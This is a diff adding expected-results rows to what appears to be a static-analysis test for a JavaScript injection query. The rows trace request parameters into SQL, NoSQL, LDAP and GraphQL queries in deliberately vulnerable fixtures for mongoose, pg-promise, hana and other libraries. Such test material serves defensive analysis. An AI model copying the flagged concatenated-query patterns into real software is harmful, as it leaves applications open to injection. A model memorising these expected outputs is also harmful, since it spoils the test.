+| mongoose.js:110:28:110:31 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:110:28:110:31 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:111:28:111:31 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:111:28:111:31 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:112:28:112:31 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:112:28:112:31 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:113:18:113:21 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:113:18:113:21 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:114:22:114:25 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:114:22:114:25 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:115:21:115:24 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:115:21:115:24 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:116:16:116:26 | { _id: id } | mongoose.js:101:11:101:22 | req.query.id | mongoose.js:116:16:116:26 | { _id: id } | This query object depends on a $@. | mongoose.js:101:11:101:22 | req.query.id | user-provided value |
+| mongoose.js:122:30:122:34 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:122:30:122:34 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongooseJsonParse.js:22:19:22:23 | query | mongooseJsonParse.js:20:30:20:43 | req.query.data | mongooseJsonParse.js:22:19:22:23 | query | This query object depends on a $@. | mongooseJsonParse.js:20:30:20:43 | req.query.data | user-provided value |
+| mongooseModelClient.js:11:16:11:24 | { id: v } | mongooseModelClient.js:10:22:10:29 | req.body | mongooseModelClient.js:11:16:11:24 | { id: v } | This query object depends on a $@. | mongooseModelClient.js:10:22:10:29 | req.body | user-provided value |
+| mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | mongooseModelClient.js:12:22:12:29 | req.body | mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | This query object depends on a $@. | mongooseModelClient.js:12:22:12:29 | req.body | user-provided value |
+| mysql.js:15:18:15:65 | 'SELECT ...  + temp | mysql.js:6:16:6:31 | req.params.value | mysql.js:15:18:15:65 | 'SELECT ...  + temp | This query string depends on a $@. | mysql.js:6:16:6:31 | req.params.value | user-provided value |
+| mysql.js:19:26:19:73 | 'SELECT ...  + temp | mysql.js:6:16:6:31 | req.params.value | mysql.js:19:26:19:73 | 'SELECT ...  + temp | This query string depends on a $@. | mysql.js:6:16:6:31 | req.params.value | user-provided value |
+| pg-promise-types.ts:8:17:8:21 | taint | pg-promise-types.ts:7:17:7:28 | req.params.x | pg-promise-types.ts:8:17:8:21 | taint | This query string depends on a $@. | pg-promise-types.ts:7:17:7:28 | req.params.x | user-provided value |
+| pg-promise.js:9:10:9:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:9:10:9:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:10:11:10:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:10:11:10:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:11:17:11:21 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:11:17:11:21 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:12:10:12:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:12:10:12:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:13:12:13:16 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:13:12:13:16 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:14:18:14:22 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:14:18:14:22 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:15:11:15:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:15:11:15:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:16:10:16:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:16:10:16:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:17:16:17:20 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:17:16:17:20 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:18:12:18:16 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:18:12:18:16 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:19:13:19:17 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:19:13:19:17 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:22:11:22:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:22:11:22:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:30:13:30:25 | req.params.id | pg-promise.js:30:13:30:25 | req.params.id | pg-promise.js:30:13:30:25 | req.params.id | This query string depends on a $@. | pg-promise.js:30:13:30:25 | req.params.id | user-provided value |
+| pg-promise.js:34:13:34:25 | req.params.id | pg-promise.js:34:13:34:25 | req.params.id | pg-promise.js:34:13:34:25 | req.params.id | This query string depends on a $@. | pg-promise.js:34:13:34:25 | req.params.id | user-provided value |
+| pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:39:7:39:19 | req.params.id | This query string depends on a $@. | pg-promise.js:39:7:39:19 | req.params.id | user-provided value |
+| pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:40:7:40:21 | req.params.name | This query string depends on a $@. | pg-promise.js:40:7:40:21 | req.params.name | user-provided value |
+| pg-promise.js:47:11:47:23 | req.params.id | pg-promise.js:47:11:47:23 | req.params.id | pg-promise.js:47:11:47:23 | req.params.id | This query string depends on a $@. | pg-promise.js:47:11:47:23 | req.params.id | user-provided value |
+| pg-promise.js:54:11:54:23 | req.params.id | pg-promise.js:54:11:54:23 | req.params.id | pg-promise.js:54:11:54:23 | req.params.id | This query string depends on a $@. | pg-promise.js:54:11:54:23 | req.params.id | user-provided value |
+| pg-promise.js:56:14:56:29 | req.params.title | pg-promise.js:56:14:56:29 | req.params.title | pg-promise.js:56:14:56:29 | req.params.title | This query string depends on a $@. | pg-promise.js:56:14:56:29 | req.params.title | user-provided value |
+| pg-promise.js:60:20:60:24 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:60:20:60:24 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:63:23:63:27 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:63:23:63:27 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| pg-promise.js:64:16:64:20 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:64:16:64:20 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
+| redis.js:10:16:10:27 | req.body.key | redis.js:10:16:10:23 | req.body | redis.js:10:16:10:27 | req.body.key | This query object depends on a $@. | redis.js:10:16:10:23 | req.body | user-provided value |
+| redis.js:18:16:18:18 | key | redis.js:12:15:12:22 | req.body | redis.js:18:16:18:18 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
+| redis.js:19:43:19:45 | key | redis.js:12:15:12:22 | req.body | redis.js:19:43:19:45 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
+| redis.js:25:14:25:16 | key | redis.js:12:15:12:22 | req.body | redis.js:25:14:25:16 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
+| redis.js:30:23:30:25 | key | redis.js:12:15:12:22 | req.body | redis.js:30:23:30:25 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
+| redis.js:32:28:32:30 | key | redis.js:12:15:12:22 | req.body | redis.js:32:28:32:30 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
+| redis.js:39:16:39:18 | key | redis.js:38:17:38:24 | req.body | redis.js:39:16:39:18 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
+| redis.js:43:27:43:29 | key | redis.js:38:17:38:24 | req.body | redis.js:43:27:43:29 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
+| redis.js:46:34:46:36 | key | redis.js:38:17:38:24 | req.body | redis.js:46:34:46:36 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
+| socketio.js:11:12:11:53 | `INSERT ... andle}` | socketio.js:10:25:10:30 | handle | socketio.js:11:12:11:53 | `INSERT ... andle}` | This query string depends on a $@. | socketio.js:10:25:10:30 | handle | user-provided value |
+| tst2.js:8:27:8:84 | "select ... d + "'" | tst2.js:8:66:8:78 | req.params.id | tst2.js:8:27:8:84 | "select ... d + "'" | This query string depends on a $@. | tst2.js:8:66:8:78 | req.params.id | user-provided value |
+| tst3.js:9:14:9:19 | query1 | tst3.js:8:16:8:34 | req.params.category | tst3.js:9:14:9:19 | query1 | This query string depends on a $@. | tst3.js:8:16:8:34 | req.params.category | user-provided value |
+| tst4.js:8:10:8:66 | 'SELECT ... d + '"' | tst4.js:8:46:8:60 | $routeParams.id | tst4.js:8:10:8:66 | 'SELECT ... d + '"' | This query string depends on a $@. | tst4.js:8:46:8:60 | $routeParams.id | user-provided value |
+| tst.js:10:10:10:64 | 'SELECT ... d + '"' | tst.js:10:46:10:58 | req.params.id | tst.js:10:10:10:64 | 'SELECT ... d + '"' | This query string depends on a $@. | tst.js:10:46:10:58 | req.params.id | user-provided value |
+edges
+| graphql.js:8:11:8:28 | id | graphql.js:11:46:11:47 | id | provenance |  |
+| graphql.js:8:16:8:28 | req.params.id | graphql.js:8:11:8:28 | id | provenance |  |
+| graphql.js:11:46:11:47 | id | graphql.js:9:34:19:5 | `\\n      ... }\\n    ` | provenance |  |
+| graphql.js:25:11:25:28 | id | graphql.js:26:37:26:38 | id | provenance |  |
+| graphql.js:25:11:25:28 | id | graphql.js:29:39:29:40 | id | provenance |  |
+| graphql.js:25:11:25:28 | id | graphql.js:32:25:32:26 | id | provenance |  |
+| graphql.js:25:16:25:28 | req.params.id | graphql.js:25:11:25:28 | id | provenance |  |
+| graphql.js:26:37:26:38 | id | graphql.js:26:30:26:40 | `foo ${id}` | provenance |  |
+| graphql.js:29:39:29:40 | id | graphql.js:29:32:29:42 | `foo ${id}` | provenance |  |
+| graphql.js:32:25:32:26 | id | graphql.js:32:18:32:28 | `foo ${id}` | provenance |  |
+| graphql.js:38:11:38:28 | id | graphql.js:43:21:43:22 | id | provenance |  |
+| graphql.js:38:11:38:28 | id | graphql.js:47:51:47:52 | id | provenance |  |
+| graphql.js:38:16:38:28 | req.params.id | graphql.js:38:11:38:28 | id | provenance |  |
+| graphql.js:43:21:43:22 | id | graphql.js:43:14:43:24 | `foo ${id}` | provenance |  |
+| graphql.js:47:51:47:52 | id | graphql.js:47:44:47:54 | `foo ${id}` | provenance |  |
+| graphql.js:54:11:54:28 | id | graphql.js:55:46:55:47 | id | provenance |  |
+| graphql.js:54:11:54:28 | id | graphql.js:57:73:57:74 | id | provenance |  |
+| graphql.js:54:16:54:28 | req.params.id | graphql.js:54:11:54:28 | id | provenance |  |
+| graphql.js:55:46:55:47 | id | graphql.js:55:39:55:49 | `foo ${id}` | provenance |  |
+| graphql.js:57:73:57:74 | id | graphql.js:57:66:57:76 | `foo ${id}` | provenance |  |
+| graphql.js:73:9:73:25 | id | graphql.js:74:56:74:57 | id | provenance |  |
+| graphql.js:73:9:73:25 | id | graphql.js:86:13:86:14 | id | provenance |  |
+| graphql.js:73:14:73:25 | req.query.id | graphql.js:73:9:73:25 | id | provenance |  |
+| graphql.js:74:56:74:57 | id | graphql.js:74:46:74:64 | "{ foo" + id + " }" | provenance |  |
+| graphql.js:86:13:86:14 | id | graphql.js:82:14:88:8 | `{\\n     ...      }` | provenance |  |
+| graphql.js:117:11:117:28 | id | graphql.js:118:45:118:46 | id | provenance |  |
+| graphql.js:117:16:117:28 | req.params.id | graphql.js:117:11:117:28 | id | provenance |  |
+| graphql.js:118:45:118:46 | id | graphql.js:118:38:118:48 | `foo ${id}` | provenance |  |
+| hana.js:9:13:9:42 | maliciousInput | hana.js:10:64:10:77 | maliciousInput | provenance |  |
+| hana.js:9:30:9:37 | req.body | hana.js:9:13:9:42 | maliciousInput | provenance |  |
+| hana.js:10:15:10:80 | query | hana.js:11:19:11:23 | query | provenance |  |
+| hana.js:10:64:10:77 | maliciousInput | hana.js:10:15:10:80 | query | provenance |  |
+| hana.js:16:15:16:44 | maliciousInput | hana.js:17:87:17:100 | maliciousInput | provenance |  |
+| hana.js:16:32:16:39 | req.body | hana.js:16:15:16:44 | maliciousInput | provenance |  |
+| hana.js:17:87:17:100 | maliciousInput | hana.js:17:35:17:100 | `SELECT ... usInput | provenance |  |
+| hana.js:23:15:23:44 | maliciousInput | hana.js:24:83:24:96 | maliciousInput | provenance |  |
+| hana.js:23:32:23:39 | req.body | hana.js:23:15:23:44 | maliciousInput | provenance |  |
+| hana.js:24:83:24:96 | maliciousInput | hana.js:24:33:24:96 | `INSERT ... usInput | provenance |  |
+| hana.js:30:13:30:42 | maliciousInput | hana.js:31:84:31:97 | maliciousInput | provenance |  |
+| hana.js:30:30:30:37 | req.body | hana.js:30:13:30:42 | maliciousInput | provenance |  |
+| hana.js:31:84:31:97 | maliciousInput | hana.js:31:31:31:97 | "SELECT ... usInput | provenance |  |
+| hana.js:47:7:47:36 | maliciousInput | hana.js:48:39:48:52 | maliciousInput | provenance |  |
+| hana.js:47:7:47:36 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance |  |
+| hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance |  |
+| hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance |  |
+| hana.js:48:39:48:52 | maliciousInput | hana.js:48:15:48:52 | 'SELECT ... usInput | provenance |  |
+| hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance |  |
+| hana.js:50:76:50:89 | maliciousInput | hana.js:50:40:50:89 | 'CALL P ... usInput | provenance |  |
+| hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance |  |
+| hana.js:54:53:54:66 | maliciousInput | hana.js:54:38:54:66 | 'PROC_D ... usInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:76:60:76:73 | maliciousInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:80:56:80:69 | maliciousInput | provenance |  |
+| hana.js:68:7:68:36 | maliciousInput | hana.js:84:65:84:78 | maliciousInput | provenance |  |
+| hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance |  |
+| hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance |  |
+| hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance |  |
+| hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance |  |
+| hana.js:76:60:76:73 | maliciousInput | hana.js:76:20:76:73 | 'select ... usInput | provenance |  |
+| hana.js:80:56:80:69 | maliciousInput | hana.js:80:20:80:69 | 'call P ... usInput | provenance |  |
+| hana.js:84:65:84:78 | maliciousInput | hana.js:84:20:84:78 | 'select ... usInput | provenance |  |
+| html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance |  |
+| html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance |  |
+| html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance |  |
+| html-sanitizer.js:14:18:14:23 | param1 | html-sanitizer.js:14:14:14:24 | xss(param1) | provenance | Config |
+| html-sanitizer.js:16:54:16:59 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ...  param1 | provenance |  |
+| json-schema-validator.js:25:15:25:48 | query | json-schema-validator.js:33:22:33:26 | query | provenance |  |
+| json-schema-validator.js:25:15:25:48 | query | json-schema-validator.js:35:18:35:22 | query | provenance |  |
+| json-schema-validator.js:25:23:25:48 | JSON.pa ... y.data) | json-schema-validator.js:25:15:25:48 | query | provenance |  |
+| json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:25:23:25:48 | JSON.pa ... y.data) | provenance | Config |
+| json-schema-validator.js:50:15:50:48 | query | json-schema-validator.js:55:22:55:26 | query | provenance |  |
+| json-schema-validator.js:50:15:50:48 | query | json-schema-validator.js:59:22:59:26 | query | provenance |  |
+| json-schema-validator.js:50:15:50:48 | query | json-schema-validator.js:61:22:61:26 | query | provenance |  |
+| json-schema-validator.js:50:23:50:48 | JSON.pa ... y.data) | json-schema-validator.js:50:15:50:48 | query | provenance |  |
+| json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:50:23:50:48 | JSON.pa ... y.data) | provenance | Config |
+| koarouter.js:5:11:5:33 | version | koarouter.js:14:38:14:44 | version | provenance |  |
+| koarouter.js:5:13:5:19 | version | koarouter.js:5:11:5:33 | version | provenance |  |
+| koarouter.js:14:9:14:18 | [post update] conditions [ArrayElement] | koarouter.js:17:52:17:61 | conditions [ArrayElement] | provenance |  |
+| koarouter.js:14:25:14:46 | `versio ... rsion}` | koarouter.js:14:9:14:18 | [post update] conditions [ArrayElement] | provenance |  |
+| koarouter.js:14:38:14:44 | version | koarouter.js:14:25:14:46 | `versio ... rsion}` | provenance |  |
+| koarouter.js:17:52:17:61 | conditions [ArrayElement] | koarouter.js:17:52:17:75 | conditi ...  and ') | provenance |  |
+| koarouter.js:17:52:17:75 | conditi ...  and ') | koarouter.js:17:27:17:77 | `SELECT ... nd ')}` | provenance |  |
+| ldap.js:20:7:20:34 | q | ldap.js:22:18:22:18 | q | provenance |  |
+| ldap.js:20:11:20:34 | url.par ... , true) | ldap.js:20:7:20:34 | q | provenance |  |
+| ldap.js:20:21:20:27 | req.url | ldap.js:20:11:20:34 | url.par ... , true) | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:25:24:25:31 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:25:46:25:53 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:32:26:32:33 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:32:48:32:55 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:64:16:64:23 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:64:38:64:45 | username | provenance |  |
+| ldap.js:22:7:22:33 | username | ldap.js:68:33:68:40 | username | provenance |  |
+| ldap.js:22:18:22:18 | q | ldap.js:22:7:22:33 | username | provenance |  |
+| ldap.js:25:13:25:57 | `(\|(nam ... ame}))` | ldap.js:28:30:28:34 | opts1 | provenance | Config |
+| ldap.js:25:24:25:31 | username | ldap.js:25:13:25:57 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:25:46:25:53 | username | ldap.js:25:13:25:57 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:32:15:32:59 | `(\|(nam ... ame}))` | ldap.js:32:5:32:61 | { filte ... e}))` } | provenance | Config |
+| ldap.js:32:26:32:33 | username | ldap.js:32:15:32:59 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:32:48:32:55 | username | ldap.js:32:15:32:59 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:63:9:65:3 | parsedFilter | ldap.js:66:40:66:51 | parsedFilter | provenance |  |
+| ldap.js:63:24:65:3 | ldap.pa ... ))`\\n  ) | ldap.js:63:9:65:3 | parsedFilter | provenance |  |
+| ldap.js:64:5:64:49 | `(\|(nam ... ame}))` | ldap.js:63:24:65:3 | ldap.pa ... ))`\\n  ) | provenance | Config |
+| ldap.js:64:16:64:23 | username | ldap.js:64:5:64:49 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:64:38:64:45 | username | ldap.js:64:5:64:49 | `(\|(nam ... ame}))` | provenance |  |
+| ldap.js:66:40:66:51 | parsedFilter | ldap.js:66:30:66:53 | { filte ... ilter } | provenance | Config |
+| ldap.js:68:33:68:40 | username | ldap.js:68:27:68:42 | `cn=${username}` | provenance |  |
+| marsdb-flow-to.js:10:9:10:18 | query | marsdb-flow-to.js:13:17:13:21 | query | provenance |  |
+| marsdb-flow-to.js:10:17:10:18 | {} | marsdb-flow-to.js:10:9:10:18 | query | provenance |  |
+| marsdb-flow-to.js:11:17:11:24 | req.body | marsdb-flow-to.js:11:17:11:30 | req.body.title | provenance | Config |
+| marsdb-flow-to.js:11:17:11:30 | req.body.title | marsdb-flow-to.js:10:9:10:18 | query | provenance | Config |
+| marsdb-flow-to.js:11:17:11:30 | req.body.title | marsdb-flow-to.js:10:17:10:18 | {} | provenance | Config |
+| marsdb-flow-to.js:11:17:11:30 | req.body.title | marsdb-flow-to.js:13:17:13:21 | query | provenance | Config |
+| marsdb.js:12:9:12:18 | query | marsdb.js:15:12:15:16 | query | provenance |  |
+| marsdb.js:12:17:12:18 | {} | marsdb.js:12:9:12:18 | query | provenance |  |
+| marsdb.js:13:17:13:24 | req.body | marsdb.js:13:17:13:30 | req.body.title | provenance | Config |
+| marsdb.js:13:17:13:30 | req.body.title | marsdb.js:12:9:12:18 | query | provenance | Config |
+| marsdb.js:13:17:13:30 | req.body.title | marsdb.js:12:17:12:18 | {} | provenance | Config |
+| marsdb.js:13:17:13:30 | req.body.title | marsdb.js:15:12:15:16 | query | provenance | Config |
+| minimongo.js:14:9:14:18 | query | minimongo.js:17:12:17:16 | query | provenance |  |
+| minimongo.js:14:17:14:18 | {} | minimongo.js:14:9:14:18 | query | provenance |  |
+| minimongo.js:15:17:15:24 | req.body | minimongo.js:15:17:15:30 | req.body.title | provenance | Config |
+| minimongo.js:15:17:15:30 | req.body.title | minimongo.js:14:9:14:18 | query | provenance | Config |
+| minimongo.js:15:17:15:30 | req.body.title | minimongo.js:14:17:14:18 | {} | provenance | Config |
+| minimongo.js:15:17:15:30 | req.body.title | minimongo.js:17:12:17:16 | query | provenance | Config |
+| mongodb.js:12:11:12:20 | query | mongodb.js:13:5:13:9 | query | provenance |  |
+| mongodb.js:12:19:12:20 | {} | mongodb.js:12:11:12:20 | query | provenance |  |
+| mongodb.js:13:5:13:9 | query | mongodb.js:17:16:17:20 | query | provenance |  |
+| mongodb.js:13:19:13:26 | req.body | mongodb.js:13:19:13:32 | req.body.title | provenance | Config |
+| mongodb.js:13:19:13:32 | req.body.title | mongodb.js:12:11:12:20 | query | provenance | Config |
+| mongodb.js:13:19:13:32 | req.body.title | mongodb.js:12:19:12:20 | {} | provenance | Config |
+| mongodb.js:13:19:13:32 | req.body.title | mongodb.js:13:5:13:9 | query | provenance | Config |
+| mongodb.js:13:19:13:32 | req.body.title | mongodb.js:17:16:17:20 | query | provenance | Config |
+| mongodb.js:25:11:25:32 | title | mongodb.js:30:38:30:42 | title | provenance |  |
+| mongodb.js:25:19:25:26 | req.body | mongodb.js:25:19:25:32 | req.body.title | provenance | Config |
+| mongodb.js:25:19:25:32 | req.body.title | mongodb.js:25:11:25:32 | title | provenance |  |
+| mongodb.js:30:27:30:43 | JSON.parse(title) | mongodb.js:30:18:30:45 | { title ... itle) } | provenance | Config |
+| mongodb.js:30:38:30:42 | title | mongodb.js:30:27:30:43 | JSON.parse(title) | provenance | Config |
+| mongodb.js:46:11:46:20 | query | mongodb.js:47:5:47:9 | query | provenance |  |
+| mongodb.js:46:19:46:20 | {} | mongodb.js:46:11:46:20 | query | provenance |  |
+| mongodb.js:47:5:47:9 | query | mongodb.js:51:16:51:20 | query | provenance |  |
+| mongodb.js:47:19:47:33 | req.query.title | mongodb.js:46:11:46:20 | query | provenance | Config |
+| mongodb.js:47:19:47:33 | req.query.title | mongodb.js:46:19:46:20 | {} | provenance | Config |
+| mongodb.js:47:19:47:33 | req.query.title | mongodb.js:47:5:47:9 | query | provenance | Config |
+| mongodb.js:47:19:47:33 | req.query.title | mongodb.js:51:16:51:20 | query | provenance | Config |
+| mongodb.js:56:8:56:17 | query | mongodb.js:57:2:57:6 | query | provenance |  |
+| mongodb.js:56:16:56:17 | {} | mongodb.js:56:8:56:17 | query | provenance |  |
+| mongodb.js:57:2:57:6 | query | mongodb.js:61:12:61:16 | query | provenance |  |
+| mongodb.js:57:16:57:30 | req.query.title | mongodb.js:56:8:56:17 | query | provenance | Config |
+| mongodb.js:57:16:57:30 | req.query.title | mongodb.js:56:16:56:17 | {} | provenance | Config |
+| mongodb.js:57:16:57:30 | req.query.title | mongodb.js:57:2:57:6 | query | provenance | Config |
+| mongodb.js:57:16:57:30 | req.query.title | mongodb.js:61:12:61:16 | query | provenance | Config |
+| mongodb.js:66:7:66:25 | tag | mongodb.js:72:22:72:24 | tag | provenance |  |
+| mongodb.js:66:7:66:25 | tag | mongodb.js:79:20:79:22 | tag | provenance |  |
+| mongodb.js:66:13:66:25 | req.query.tag | mongodb.js:66:7:66:25 | tag | provenance |  |
+| mongodb.js:72:22:72:24 | tag | mongodb.js:72:14:72:26 | { tags: tag } | provenance | Config |
+| mongodb.js:79:20:79:22 | tag | mongodb.js:79:12:79:24 | { tags: tag } | provenance | Config |
+| mongodb.js:100:9:100:18 | query | mongodb.js:101:3:101:7 | query | provenance |  |
+| mongodb.js:100:17:100:18 | {} | mongodb.js:100:9:100:18 | query | provenance |  |
+| mongodb.js:101:3:101:7 | query | mongodb.js:105:14:105:18 | query | provenance |  |
+| mongodb.js:101:17:101:29 | queries.title | mongodb.js:100:9:100:18 | query | provenance | Config |
+| mongodb.js:101:17:101:29 | queries.title | mongodb.js:100:17:100:18 | {} | provenance | Config |
+| mongodb.js:101:17:101:29 | queries.title | mongodb.js:101:3:101:7 | query | provenance | Config |
+| mongodb.js:101:17:101:29 | queries.title | mongodb.js:105:14:105:18 | query | provenance | Config |
+| mongodb_bodySafe.js:23:11:23:20 | query | mongodb_bodySafe.js:24:5:24:9 | query | provenance |  |
+| mongodb_bodySafe.js:23:19:23:20 | {} | mongodb_bodySafe.js:23:11:23:20 | query | provenance |  |
+| mongodb_bodySafe.js:24:5:24:9 | query | mongodb_bodySafe.js:28:16:28:20 | query | provenance |  |
+| mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:23:11:23:20 | query | provenance | Config |
+| mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:23:19:23:20 | {} | provenance | Config |
+| mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:24:5:24:9 | query | provenance | Config |
+| mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:28:16:28:20 | query | provenance | Config |
+| mongoose.js:20:8:20:17 | query | mongoose.js:21:2:21:6 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:23:22:23:26 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:25:17:25:21 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:27:22:27:26 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:29:21:29:25 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:31:28:31:32 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:33:16:33:20 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:35:19:35:23 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:37:28:37:32 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:39:28:39:32 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:41:28:41:32 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:43:22:43:26 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:45:18:45:22 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:47:22:47:26 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:49:21:49:25 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:51:32:51:36 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:53:27:53:31 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:54:8:54:12 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:57:17:57:21 | query | provenance |  |
